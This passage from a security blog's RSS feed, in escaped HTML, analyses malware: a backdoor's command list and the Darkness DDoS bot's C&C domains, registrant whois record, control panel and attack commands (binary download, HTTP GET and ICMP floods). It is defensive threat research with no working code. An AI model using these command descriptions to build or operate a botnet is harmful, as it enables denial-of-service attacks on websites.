&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Further analysis of the
command &amp;amp; control code of the sample reveals that the following commands
can be given to perform the respective actions on the victim system.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Cmd ,&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Shell ,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Run ,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Getfile,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Putfile,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Kill,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Process,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Reboot,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Time,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Door&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHhvI-AhAxq4S2Gd2H21iImpCuGK_fJbdISnGtYG1-8wxW-MDth6gMcBl4HnD4OJdnCplDDmiLXwV39i04kb_OFiY3gVO0cHYicP9xbl4_RY2MFEYYozdMVcYWaErYCswL0bxy2PSeOU8/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHhvI-AhAxq4S2Gd2H21iImpCuGK_fJbdISnGtYG1-8wxW-MDth6gMcBl4HnD4OJdnCplDDmiLXwV39i04kb_OFiY3gVO0cHYicP9xbl4_RY2MFEYYozdMVcYWaErYCswL0bxy2PSeOU8/s400/1.png&quot; height=&quot;328&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2012/11/adobe-reader-0-day-u3d-memory.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjju-qcsUekbxO2LFOSrEL99q1aUlOi484uLO7upgCLKXtSZN85d9psAy763q3K-m3UWrxqwMH-afx6ZkQQG75iwNGfeKFF1P9yy_9NZLzjzYHtAjTbHOZTX2O2weAh4hepJhz4EyAP1G0/s72-c/17.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-8076728750784838828</guid><pubDate>Mon, 27 Aug 2012 12:15:00 +0000</pubDate><atom:updated>2014-06-04T23:26:40.110+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Botnet Research</category><title>Inside The DDoS Botnets - BlackEnergy and Darkness - Part 2</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 13.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Darkness bot – Successor of BlackEnergy&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Recently in the December last year , we came across a
new DDoS bot found to be fairly active in the wild targetting number of
websites . During our analysis , the samples of bots were using particularly 3 domains
as their command and control channnel.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;strong style=&quot;font-family: inherit; font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;
&lt;strong style=&quot;font-family: inherit; font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10pt;&quot;&gt;greatfull-toolss.ru&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;strong style=&quot;font-family: inherit; font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10pt;&quot;&gt;greatfull.ru&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;

&lt;strong&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10pt;&quot;&gt;hellcomeback.ru&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;strong&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: Verdana, sans-serif; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;However , couple of domains out of
these were already unavailable , querying the whois database for greatfull.ru
gives the following whois record : &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 9pt;&quot;&gt;nserver:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ns1.reg.ru.&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 9pt;&quot;&gt;&lt;br /&gt;
&lt;span class=&quot;apple-style-span&quot;&gt;nserver:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ns2.reg.ru.&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;apple-style-span&quot;&gt;state:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;REGISTERED,&amp;nbsp;DELEGATED,&amp;nbsp;UNVERIFIED&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;apple-style-span&quot;&gt;person:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Private&amp;nbsp;Person&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;apple-style-span&quot;&gt;phone:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+380686548525&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;apple-style-span&quot;&gt;fax-no:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+380686548525&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;apple-style-span&quot;&gt;e-mail:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 9pt;&quot;&gt;&amp;nbsp;smilefrince@yandex.ru&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 9pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;apple-style-span&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 9pt;&quot;&gt;registrar:&amp;nbsp;&amp;nbsp;REGRU-REG-RIPN&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 9pt;&quot;&gt;&lt;br /&gt;
&lt;span class=&quot;apple-style-span&quot;&gt;created:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2010.11.03&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;apple-style-span&quot;&gt;paid-till:&amp;nbsp;&amp;nbsp;2011.11.03&lt;/span&gt;&lt;br /&gt;
&lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt;
&lt;!--[endif]--&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;Googling for the above email address used for registering the domain showed up several adds related to the DDoS service. One of the add that we came across displayed the services and capabilities this botnet can provide&lt;/span&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOyA6d-uNGIzLAilm6ztay_TVIShX6K3qq8zTOrdlBJQXVoXj-aMHE55CLa4iTLPZWnBCEIwc8b-oZ-3TL9wY_HkslWpqRV0BHpGyZvk1WZuzQp06NUb7MJ3hnP2N0u401YuSJQzogg3Y/s1600/10.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOyA6d-uNGIzLAilm6ztay_TVIShX6K3qq8zTOrdlBJQXVoXj-aMHE55CLa4iTLPZWnBCEIwc8b-oZ-3TL9wY_HkslWpqRV0BHpGyZvk1WZuzQp06NUb7MJ3hnP2N0u401YuSJQzogg3Y/s400/10.png&quot; height=&quot;203&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Darkness bot command and control&lt;/span&gt;&lt;span style=&quot;font-size: 13pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;During our investigation , we came
across the C&amp;amp;C UI used to track the botnet infections and instruct the DoS
commands to the bot client . One of the control panel we observed posted on the
underground forums looked like this:&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6J1QOdHQOxEMe6-E02uMTRk7s79IFFctQy68jNebtuTJ1QK9q64o_94sBJwh3iKFZQ2s7ILKFry0G47xpDwghDE4IrZV6JHyUssb50fDuxUJbSoglOm50huU-eIDAPpZoFyuUI4SNG6I/s1600/11.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6J1QOdHQOxEMe6-E02uMTRk7s79IFFctQy68jNebtuTJ1QK9q64o_94sBJwh3iKFZQ2s7ILKFry0G47xpDwghDE4IrZV6JHyUssb50fDuxUJbSoglOm50huU-eIDAPpZoFyuUI4SNG6I/s400/11.png&quot; height=&quot;223&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Above control panel UI is in the
Russian language , However , we have been able to translate and understand the
purpose of quite a few commands through our command simulation setup Following
are the DDoS commands used by this Bot . &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;exe&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt; --- &amp;gt; download specified binary from the
server&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;dd1&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt; --- &amp;gt; HTTP GET DDoS attack&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;dd2&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt; --- &amp;gt; ICMP DoS attack&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;wtf&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp; --- &amp;gt;
Stop all the commands&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;tot&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp; --- &amp;gt;
Bot synchronization time .&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;vot&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp; --- &amp;gt; Voting&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;During our static Analysis , we were
able to unpack the and reverse the binary during which we located the Command
and Control code within the&amp;nbsp; binary and
some other functionalities which gives us the fair enough idea on how the
malware runs on the victims system . &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
